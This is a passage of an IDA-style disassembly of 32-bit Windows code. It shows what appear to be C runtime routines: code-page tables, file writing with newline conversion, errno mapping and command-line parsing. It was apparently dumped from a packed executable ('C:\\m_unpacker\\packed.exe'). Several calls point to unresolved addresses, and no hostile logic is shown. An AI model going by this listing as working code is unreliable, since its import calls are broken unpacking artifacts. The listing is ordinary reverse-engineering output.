; ---------------------------------------------------------------------------


loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, dword_48A0B8
		mov	dword_48A0C4, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
		jz	short loc_41EB37
		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_48B560
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_48B450
		mov	dword_48B444, eax
		mov	dword_48B45C, eax
		mov	dword_48B664, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_48B444
		nop
		call	near ptr 2861185h
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h


loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx


loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_48B664
		push	dword_48B444
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_48B664
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_48B664
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	byte_48B561[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	byte_48B460[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------


loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	byte_48B561[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------


loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	byte_48B460[eax], 0


loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------


loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	byte_48B561[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	byte_48B460[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------


loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	byte_48B561[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------


loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	byte_48B460[eax], 0


loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC


loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: ___:0041F138p
					; ___:0041F194p ...
		cmp	dword_48B694, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	dword_48B694, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------


loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]


loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_48B561[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------


loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76


loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0


loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]


loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_48B440
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8


loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch


loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF


loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]


loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E


loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18


loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi


loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	dword_48A014, 9
		mov	dword_48A018, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		nop
		call	near ptr 2630313h
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------


loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		call	near ptr 2630313h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1


loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	dword_48A014, 1Ch
		mov	dword_48A018, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh


loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_48A018, ecx
		mov	eax, offset dword_43BA30


loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43BB98
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	dword_48A014, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, dword_43BA34[edx*8]
		mov	dword_48A014, eax
		retn
; ---------------------------------------------------------------------------


loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	dword_48A014, 8
		jbe	short locret_41EFAA


loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	dword_48A014, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------


loc_41EFDC:				; CODE XREF: ___:0041EFCEj
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, dword_48A0C8
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_48A0C8, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, dword_43BC10
		mov	edx, dword_43BC14
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43BBA0h[esi*4]


loc_41F022:				; CODE XREF: ___:0041F029j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022


loc_41F02B:				; CODE XREF: ___:0041F014j
		mov	eax, [eax]
		mov	esi, dword_43BC1C
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	dword_43BC1C, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F046:				; CODE XREF: ___:0041F038j
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	dword_43BC1C, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F059:				; CODE XREF: ___:0041F04Bj
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	dword_43BC1C, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F06C:				; CODE XREF: ___:0041F05Ej
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	dword_43BC1C, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F07F:				; CODE XREF: ___:0041F071j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	dword_43BC1C, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F092:				; CODE XREF: ___:0041F084j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	dword_43BC1C, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F0A5:				; CODE XREF: ___:0041F097j
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	dword_43BC1C, 8Ah


loc_41F0B6:				; CODE XREF: ___:0041F044j
					; ___:0041F057j ...
		push	dword_43BC1C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43BC1C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------


loc_41F0CB:				; CODE XREF: ___:0041EFFDj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41F0D3:				; CODE XREF: ___:0041F0C9j
		mov	eax, [ebp+8]
		mov	dword_48A0C8, eax


loc_41F0DB:				; CODE XREF: ___:0041EFDFj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------


loc_41F0E0:				; CODE XREF: ___:0041EFBAj
					; ___:0041EFC5j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 25E0180h


loc_41F0E9:				; CODE XREF: ___:0041EFD7j
					; ___:0041F0DEj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: ___:0041EFB2p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB98, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]


loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E


loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E


loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp

; ---------------------------------------------------------------------------
		cmp	dword_48B694, 0
		jnz	short loc_41F13D
		call	sub_41ECF1


loc_41F13D:				; CODE XREF: ___:0041F136j
		push	esi
		mov	esi, dword_48B68C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F


loc_41F14A:				; CODE XREF: ___:0041F162j
					; ___:0041F165j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------


loc_41F167:				; CODE XREF: ___:0041F150j
					; ___:0041F154j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179


loc_41F16C:				; CODE XREF: ___:0041F181j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------


loc_41F16F:				; CODE XREF: ___:0041F148j
		cmp	al, 20h
		jbe	short loc_41F179


loc_41F173:				; CODE XREF: ___:0041F177j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173


loc_41F179:				; CODE XREF: ___:0041F16Aj
					; ___:0041F16Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C


loc_41F183:				; CODE XREF: ___:0041F17Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1


loc_41F199:				; CODE XREF: ___:0041F192j
		mov	esi, dword_48A060
		xor	edi, edi


loc_41F1A1:				; CODE XREF: ___:0041F1B7j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi


loc_41F1AC:				; CODE XREF: ___:0041F1A9j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------


loc_41F1B9:				; CODE XREF: ___:0041F1A5j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_48A03C, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F1DB:				; CODE XREF: ___:0041F1D1j
		mov	edi, dword_48A060
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp


loc_41F1E6:				; CODE XREF: ___:0041F21Bj
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F20A:				; CODE XREF: ___:0041F200j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41F217:				; CODE XREF: ___:0041F1F3j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp


loc_41F21E:				; CODE XREF: ___:0041F1E3j
		push	dword_48A060
		call	sub_417C3B
		pop	ecx
		mov	dword_48A060, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_48B690, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1


loc_41F257:				; CODE XREF: ___:0041F250j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2640000h
		nop
		mov	eax, dword_48B68C
		mov	off_48A04C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax


loc_41F27C:				; CODE XREF: ___:0041F278j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx


loc_41F2AC:				; CODE XREF: ___:0041F2A2j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_48A034, esi
		pop	edi
		pop	esi
		mov	dword_48A030, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: ___:0041F287p
					; ___:0041F2BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C


loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------


loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi


loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax


loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C


loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387


loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0


loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0


loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C


loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB


loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------


loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------


loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
